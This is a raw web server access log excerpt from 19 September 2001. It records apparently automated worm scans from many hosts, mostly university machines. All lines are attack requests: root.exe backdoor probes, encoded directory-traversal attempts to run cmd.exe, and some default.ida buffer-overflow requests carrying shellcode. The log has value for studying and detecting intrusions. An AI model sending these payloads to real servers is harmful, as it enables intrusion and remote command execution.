  8827. 20010919 05:38:20: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8828. 20010919 05:38:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8829. 20010919 05:40:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8830. 20010919 05:40:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8831. 20010919 05:40:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8832. 20010919 05:40:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8833. 20010919 05:40:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8834. 20010919 05:40:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8835. 20010919 05:40:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8836. 20010919 05:40:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8837. 20010919 05:40:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8838. 20010919 05:40:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8839. 20010919 05:40:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8840. 20010919 05:40:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8841. 20010919 05:40:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8842. 20010919 05:40:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8843. 20010919 05:40:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8844. 20010919 05:40:57: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  8845. 20010919 05:47:01: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8846. 20010919 05:49:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8847. 20010919 05:49:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8848. 20010919 05:49:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8849. 20010919 05:49:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8850. 20010919 05:49:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8851. 20010919 05:49:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8852. 20010919 05:49:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8853. 20010919 05:49:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8854. 20010919 05:49:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8855. 20010919 05:49:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8856. 20010919 05:49:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8857. 20010919 05:49:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8858. 20010919 05:49:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8859. 20010919 05:49:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8860. 20010919 05:49:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8861. 20010919 05:49:24: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  8862. 20010919 05:49:26: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8863. 20010919 05:52:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8864. 20010919 05:52:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8865. 20010919 05:52:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8866. 20010919 05:52:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8867. 20010919 05:52:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8868. 20010919 05:52:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8869. 20010919 05:52:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8870. 20010919 05:52:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8871. 20010919 05:52:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8872. 20010919 05:52:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8873. 20010919 05:52:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8874. 20010919 05:52:20: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8875. 20010919 05:52:20: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8876. 20010919 05:52:20: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8877. 20010919 05:52:20: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8878. 20010919 05:52:20: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8879. 20010919 05:52:34: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8880. 20010919 05:52:34: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8881. 20010919 05:52:34: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8882. 20010919 05:52:34: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8883. 20010919 05:52:34: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8884. 20010919 05:52:38: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8885. 20010919 05:52:38: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8886. 20010919 05:52:38: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8887. 20010919 05:52:38: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8888. 20010919 05:52:38: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8889. 20010919 05:52:38: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8890. 20010919 05:52:38: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8891. 20010919 05:52:38: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8892. 20010919 05:52:38: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8893. 20010919 05:52:38: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8894. 20010919 05:52:39: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8895. 20010919 05:52:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8896. 20010919 05:52:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8897. 20010919 05:52:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8898. 20010919 05:52:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8899. 20010919 05:52:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8900. 20010919 05:52:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8901. 20010919 05:52:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8902. 20010919 05:52:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8903. 20010919 05:52:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8904. 20010919 05:52:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8905. 20010919 05:52:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8906. 20010919 05:52:49: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8907. 20010919 05:52:49: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8908. 20010919 05:52:49: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8909. 20010919 05:52:49: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8910. 20010919 05:52:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8911. 20010919 05:54:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8912. 20010919 05:54:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8913. 20010919 05:54:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8914. 20010919 05:54:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8915. 20010919 05:54:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8916. 20010919 05:54:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8917. 20010919 05:54:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8918. 20010919 05:54:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8919. 20010919 05:54:28: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8920. 20010919 05:54:28: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8921. 20010919 05:54:28: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8922. 20010919 05:54:28: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8923. 20010919 05:54:28: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8924. 20010919 05:54:28: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8925. 20010919 05:54:28: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8926. 20010919 05:54:28: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  8927. 20010919 06:00:17: www.progressive.uk.com [194.168.161.144] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8928. 20010919 06:01:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8929. 20010919 06:01:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8930. 20010919 06:01:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8931. 20010919 06:01:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8932. 20010919 06:01:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8933. 20010919 06:01:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8934. 20010919 06:01:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8935. 20010919 06:01:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8936. 20010919 06:01:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8937. 20010919 06:01:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8938. 20010919 06:01:49: www.progressive.uk.com [194.168.161.144] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8939. 20010919 06:01:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8940. 20010919 06:01:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8941. 20010919 06:01:51: www.progressive.uk.com [194.168.161.144] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8942. 20010919 06:01:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8943. 20010919 06:01:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8944. 20010919 06:01:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8945. 20010919 06:01:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8946. 20010919 06:01:51: www.progressive.uk.com [194.168.161.144] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8947. 20010919 06:01:51: www.progressive.uk.com [194.168.161.144] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8948. 20010919 06:01:52: www.progressive.uk.com [194.168.161.144] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8949. 20010919 06:01:53: www.progressive.uk.com [194.168.161.144] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8950. 20010919 06:01:54: www.progressive.uk.com [194.168.161.144] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8951. 20010919 06:01:54: www.progressive.uk.com [194.168.161.144] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8952. 20010919 06:01:55: www.progressive.uk.com [194.168.161.144] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8953. 20010919 06:01:58: www.progressive.uk.com [194.168.161.144] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8954. 20010919 06:01:59: www.progressive.uk.com [194.168.161.144] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8955. 20010919 06:01:59: www.progressive.uk.com [194.168.161.144] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8956. 20010919 06:02:00: www.progressive.uk.com [194.168.161.144] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8957. 20010919 06:02:00: www.progressive.uk.com [194.168.161.144] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8958. 20010919 06:02:01: www.progressive.uk.com [194.168.161.144] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8959. 20010919 06:02:01: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8960. 20010919 06:04:00: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8961. 20010919 06:04:00: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8962. 20010919 06:04:00: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8963. 20010919 06:04:00: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8964. 20010919 06:04:01: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8965. 20010919 06:04:01: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8966. 20010919 06:04:01: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8967. 20010919 06:04:01: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8968. 20010919 06:04:01: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8969. 20010919 06:04:01: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8970. 20010919 06:04:01: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8971. 20010919 06:04:01: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8972. 20010919 06:04:01: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8973. 20010919 06:04:01: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8974. 20010919 06:04:01: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8975. 20010919 06:04:01: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8976. 20010919 06:09:01: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8977. 20010919 06:09:01: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8978. 20010919 06:09:01: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8979. 20010919 06:09:01: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8980. 20010919 06:09:01: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8981. 20010919 06:09:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8982. 20010919 06:09:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8983. 20010919 06:09:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8984. 20010919 06:09:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8985. 20010919 06:09:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8986. 20010919 06:09:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8987. 20010919 06:09:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8988. 20010919 06:09:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8989. 20010919 06:09:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8990. 20010919 06:09:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8991. 20010919 06:09:02: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8992. 20010919 06:09:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8993. 20010919 06:09:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8994. 20010919 06:09:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
